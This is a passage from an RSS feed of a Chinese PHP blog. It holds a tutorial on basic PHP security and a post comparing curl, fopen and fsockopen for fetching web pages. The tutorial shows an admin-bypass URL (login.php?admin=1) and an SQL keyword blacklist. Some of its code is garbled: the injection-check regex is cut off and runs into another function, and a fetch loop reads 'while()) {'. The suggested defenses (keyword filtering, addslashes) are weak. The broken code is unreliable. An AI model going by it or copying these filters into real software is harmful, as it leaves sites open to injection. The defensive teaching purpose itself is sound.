/>mysql_real_escape_string 必须在(PHP 4 &gt;= 4.3.0, PHP 5)的情况下才能使用。否则只能用 mysql_escape_string ，两者的区别是：mysql_real_escape_string 考虑到连接的<br />当前字符集，而mysql_escape_string 不考虑。<br />总结一下：<br />* addslashes() 是强行加\；<br />* mysql_real_escape_string()&nbsp;<wbr>&nbsp;会判断字符集，但是对PHP版本有要求；<br />* mysql_escape_string不考虑连接的当前字符集。<br />-------------------------------------------------------------------------------------------------<br />在PHP编码的时候，如果考虑到一些比较基本的安全问题，首先一点：<br />1. 初始化你的变量<br />为什么这么说呢？我们看下面的代码：<br />PHP代码&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if ($admin)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;echo '登陆成功！';&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;include('admin.php');&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;else&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;echo '你不是管理员，无法进行管理！';&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;好，我们看上面的代码好像是能正常运行，没有问题，那么加入我提交一个非法的参数过去呢，那么效果会如何呢？比如我们的这个页是<a href="http://daybook.diandian.com/login.php" target="_blank" style="text-decoration: none; color: #3e73a0;">http://daybook.diandian.com/login.php</a>，那么我们提交：<a href="http://daybook.diandian.com/login.php?admin=1" target="_blank" style="text-decoration: none; color: #3e73a0;">http://daybook.diandian.com/login.php?admin=1</a>，呵呵，你想一些，我们是不是直接就是管理员了，直接进行管理。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;当然，可能我们不会犯这么简单错的错误，那么一些很隐秘的错误也可能导致这个问题，比如phpwind论坛有个漏洞，导致能够直接拿到管理员权限，就是因为有个$skin变量没有初始化，导致了后面一系列问题。那么我们如何避免上面的问题呢？首先，从php.ini入手，把php.ini里面的register_global =off，就是不是所有的注册变量为全局，那么就能避免了。但是，我们不是服务器管理员，只能从代码上改进了，那么我们如何改进上面的代码呢？我们改写如下：<br />PHP代码&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$admin = 0; // 初始化变量&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if ($_POST['admin_user'] &amp;&amp; $_POST['admin_pass'])&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;// 判断提交的管理员用户名和密码是不是对的相应的处理代码&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;// ...&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$admin = 1;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;else&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$admin = 0;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if ($admin)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;echo '登陆成功！';&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;include('admin.php');&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;else&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;echo '你不是管理员，无法进行管理！';&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;那么这时候你再提交<a href="http://daybook.diandian.com/login.php?admin=1" target="_blank" style="text-decoration: none; color: #3e73a0;">http://daybook.diandian.com/login.php?admin=1</a>就不好使了，因为我们在一开始就把变量初始化为 $admin = 0 了，那么你就无法通过这个漏洞获取管理员权限。<br />2. 防止SQL Injection (sql注射)<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;SQL 注射应该是目前程序危害最大的了，包括最早从asp到php，基本上都是国内这两年流行的技术，基本原理就是通过对提交变量的不过滤形成注入点然后使恶意用户能够提交一些sql查询语句，导致重要数据被窃取、数据丢失或者损坏，或者被入侵到后台管理。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;那么我们既然了解了基本的注射入侵的方式，那么我们如何去防范呢？这个就应该我们从代码去入手了。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;我们知道Web上提交数据有两种方式，一种是get、一种是post，那么很多常见的sql注射就是从get方式入手的，而且注射的语句里面一定是包含一些sql语句的，因为没有sql语句，那么如何进行，sql语句有四大句：select 、update、delete、insert，那么我们如果在我们提交的数据中进行过滤是不是能够避免这些问题呢？<br />于是我们使用正则就构建如下函数：<br />PHP代码<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;function inject_check($sql_str)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;return eregi('select|insert|update|delete|'|&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;function verify_id($id=null)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if (!$id) { exit('没有提交参数！'); } // 是否为空判断&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;elseif (inject_check($id)) { exit('提交的参数非法！'); } // 注射判断&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;elseif (!is_numeric($id)) { exit('提交的参数非法！'); } // 数字判断&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$id = intval($id); // 整型化&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;return $id;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;呵呵，那么我们就能够进行校验了，于是我们上面的程序代码就变成了下面的：<br />PHP代码&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if (inject_check($_GET['id']))&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;exit('你提交的数据非法，请检查后重新提交！');&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;else&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$id = verify_id($_GET['id']); // 这里引用了我们的过滤函数，对$id进行过滤&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;echo '提交的数据合法，请继续！';&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;好，问题到这里似乎都解决了，但是我们有没有考虑过post提交的数据，大批量的数据呢？<br />比如一些字符可能会对数据库造成危害，比如 ' _ ', ' %'，这些字符都有特殊意义，那么我们如果进行控制呢？还有一点，就是当我们的php.ini里面的magic_quotes_gpc = off的时候，那么提交的不符合数据库规则的数据都是不会自动在前面加' '的，那么我们要控制这些问题，于是构建如下函数：<br />PHP代码&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;function str_check( $str )&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否打开&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$str = addslashes($str); // 进行过滤&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$str = str_replace("_", "\_", $str); // 把 '_'过滤掉&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$str = str_replace("%", "\%", $str); // 把' % '过滤掉&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;return $str;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;我们又一次的避免了服务器被沦陷的危险。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;最后，再考虑提交一些大批量数据的情况，比如发贴，或者写文章、新闻，我们需要一些函数来帮我们过滤和进行转换，再上面函数的基础上，我们构建如下函数：<br />PHP代码&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&lt;?php&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;function post_check($post)&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;if (!get_magic_quotes_gpc()) // 判断magic_quotes_gpc是否为打开&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;{&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$post = str_replace("_", "\_", $post); // 把 '_'过滤掉&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$post = str_replace("%", "\%", $post); // 把' % '过滤掉&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$post = nl2br($post); // 回车转换&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;$post= htmlspecialchars($post); // html标记转换&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;return $post;&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;}&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;&nbsp;<wbr><br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;?&gt;<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;呵呵，基本到这里，我们把一些情况都说了一遍，其实我觉得自己讲的东西还很少，至少我才只讲了两方面，再整个安全中是很少的内容了，考虑下一次讲更多，包括php安全配置，apache安全等等，让我们的安全正的是一个整体，作到最安全。<br />&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;最后在告诉你上面表达的：1. 初始化你的变量 2. 一定记得要过滤你的变量</p><img src ="http://www.blogjava.net/xiaomage234/aggbug/427364.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2015-09-17 10:09 <a href="http://www.blogjava.net/xiaomage234/archive/2015/09/17/427364.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>php读取网络文件 curl, fsockopen ,file_get_contents 几个方法的效率对比</title><link>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409869.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Fri, 14 Feb 2014 08:44:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409869.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/409869.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2014/02/14/409869.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/409869.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/409869.html</trackback:ping><description><![CDATA[<div clearfix"="" style="zoom: 1; padding: 21px 20px 13px; border-bottom-width: 1px; border-bottom-style: solid; border-bottom-color: #e2e2e2; color: #454545; font-family: tahoma, helvetica, arial; font-size: 12px; line-height: normal; background-color: #ffffff;"><h2><a href="http://u.ajzhan.com/post/13/" style="line-height: 1.5; font-size: 14px; color: #f16e50;">curl效率及稳定原来可以远远超越file_get_contents</a></h2></div><div id="content" mod-cs-content="" text-content=""  clearfix"="" style="zoom: 1; width: 760px; overflow: visible; line-height: 1.5; margin: 7px 0px 10px; padding: 20px; color: #454545; font-family: tahoma, helvetica, arial; background-color: #ffffff;"><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">最近需要获取别人网站上的音乐数据。用了file_get_contents函数，但是总是会遇到获取失败的问题，尽管按照手册中的 例子设置了超时，可多数时候不会奏效：</p><br />$config['context'] = stream_context_create(array(&#8216;http&#8217; =&gt; array(&#8216;method&#8217; =&gt; &#8220;GET&#8221;,<br />&nbsp;&nbsp; &#8217;timeout&#8217; =&gt; 5//这个超时时间不稳定，经常不奏效<br />&nbsp;&nbsp; )<br />&nbsp;&nbsp;));<br /><br />这时候，看一下服务器的连接池，会发现一堆类似的错误，让我头疼万分：<br />file_get_contents(http://***): failed to open stream&#8230;<br /><br />现在改用了curl库，写了一个函数替换：<br />function curl_file_get_contents($durl){<br />&nbsp;&nbsp;$ch = curl_init();<br />&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, $durl);<br />&nbsp;&nbsp;curl_setopt($ch, CURLOPT_TIMEOUT, 5);<br />&nbsp;&nbsp;curl_setopt($ch, CURLOPT_USERAGENT, _USERAGENT_);<br />&nbsp;&nbsp;curl_setopt($ch, CURLOPT_REFERER,_REFERER_);<br />&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />&nbsp;&nbsp;$r = curl_exec($ch);<br />&nbsp;&nbsp;curl_close($ch);<br />&nbsp;&nbsp; return $r;<br />}<br /><br />如此，除了真正的网络问题外，没再出现任何问题。<br />这是别人做过的关于curl和file_get_contents的测试：<br />file_get_contents抓取google.com需用秒数：<br /><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">2.31319094</p>2.30374217<br />2.21512604<br />3.30553889<br />2.30124092<br /><br />curl使用的时间：<br /><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">0.68719101</p>0.64675593<br />0.64326<br />0.81983113<br />0.63956594<br /><br />差距很大？呵呵，从我使用的经验来说，这两个工具不只是速度有差异，稳定性也相差很大。<br /><p style="margin: 0px; padding: 0px;">建议对网络数据抓取稳定性要求比较高的朋友使用上面的 curl_file_get_contents函数，不但稳定速度快，还能假冒浏览器欺骗目标地址哦！</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">&nbsp;</p><p style="margin: 0px; padding: 0px;">看到的其他文章收藏于此===============================</p><p style="margin: 0px; padding: 0px;"></p><p style="margin: 0px; padding: 0px;">php fsockopen</p><p style="margin: 0px; padding: 0px;"></p><p style="margin: 0px; padding: 0px;"></p><p style="margin: 0px; padding: 0px;">方法1: 用file_get_contents 以get方式获取内容<br />&lt;?php<br />$url='http://www.domain.com/';<br />$html = file_get_contents($url);<br />echo $html;<br />?&gt;</p><p style="margin: 0px; padding: 0px;">方法2: 用fopen打开url, 以get方式获取内容<br />&lt;?php<br />$fp = fopen($url, 'r');<br />stream_get_meta_data($fp);<br />while(!feof($fp)) {<br />$result .= fgets($fp, 1024);<br />}<br />echo "url body: $result";<br />fclose($fp);<br />?&gt;</p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;">方法3：用file_get_contents函数,以post方式获取url<br />&lt;?php<br />$data = array ('foo' =&gt; 'bar');<br />$data = http_build_query($data);</p><p style="margin: 0px; padding: 0px;">$opts = array (<br />'http' =&gt; array (<br />'method' =&gt; 'POST',<br />'header'=&gt; "Content-type: application/x-www-form-urlencoded\r\n" .<br />"Content-Length: " . strlen($data) . "\r\n",<br />'content' =&gt; $data<br />)<br />);</p><p style="margin: 0px; padding: 0px;">$context = stream_context_create($opts);<br />$html = file_get_contents('http://localhost/e/admin/test.html', false, $context);</p><p style="margin: 0px; padding: 0px;">echo $html;<br />?&gt;</p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;">方法4：用fsockopen函数打开url，以get方式获取完整的数据，包括header和body</p><p style="margin: 0px; padding: 0px;">&lt;?php<br />function get_url ($url,$cookie=false)<br />{<br />$url = parse_url($url);<br />$query = $url[path]."?".$url[query];<br />echo "Query:".$query;<br />$fp = fsockopen( $url[host], $url[port]?$url[port]:80 , $errno, $errstr, 30);<br />if (!$fp) {<br />return false;<br />} else {<br />$request = "GET $query HTTP/1.1\r\n";<br />$request .= "Host: $url[host]\r\n";<br />$request .= "Connection: Close\r\n";<br />if($cookie) $request.="Cookie:&nbsp;&nbsp; $cookie\n";<br />$request.="\r\n";<br />fwrite($fp,$request);<br />while()) {<br />$result .= @fgets($fp, 1024);<br />}<br />fclose($fp);<br />return $result;<br />}<br />}<br />//获取url的html部分，去掉header<br />function GetUrlHTML($url,$cookie=false)<br />{<br />$rowdata = get_url($url,$cookie);<br />if($rowdata)<br />{<br />$body= stristr($rowdata,"\r\n\r\n");<br />$body=substr($body,4,strlen($body));<br />return $body;<br />}</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; return false;<br />}<br />?&gt;</p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;"><br /></p><p style="margin: 0px; padding: 0px;">方法5：用fsockopen函数打开url，以POST方式获取完整的数据，包括header和body</p><p style="margin: 0px; padding: 0px;">&lt;?php<br />function HTTP_Post($URL,$data,$cookie, $referrer="")<br />{</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; // parsing the given URL<br />$URL_Info=parse_url($URL);</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; // Building referrer<br />if($referrer=="") // if not given use this script as referrer<br />$referrer="111";</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; // making string from $data<br />foreach($data as $key=&gt;$value)<br />$values[]="$key=".urlencode($value);<br />$data_string=implode("&amp;",$values);</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; // Find out which port is needed - if not given use standard (=80)<br />if(!isset($URL_Info["port"]))<br />$URL_Info["port"]=80;</p><p style="margin: 0px; padding: 0px;">&nbsp;&nbsp;&nbsp; // building POST-request:<br />$request.="POST ".$URL_Info["path"]." HTTP/1.1\n";<br />$request.="Host: ".$URL_Info["host"]."\n";<br />$request.="Referer: $referer\n";<br />$request.="Content-type: application/x-www-form-urlencoded\n";<br />$request.="Content-length: ".strlen($data_string)."\n";<br />$request.="Connection: close\n";</p><p style="margin: 0px; padding: 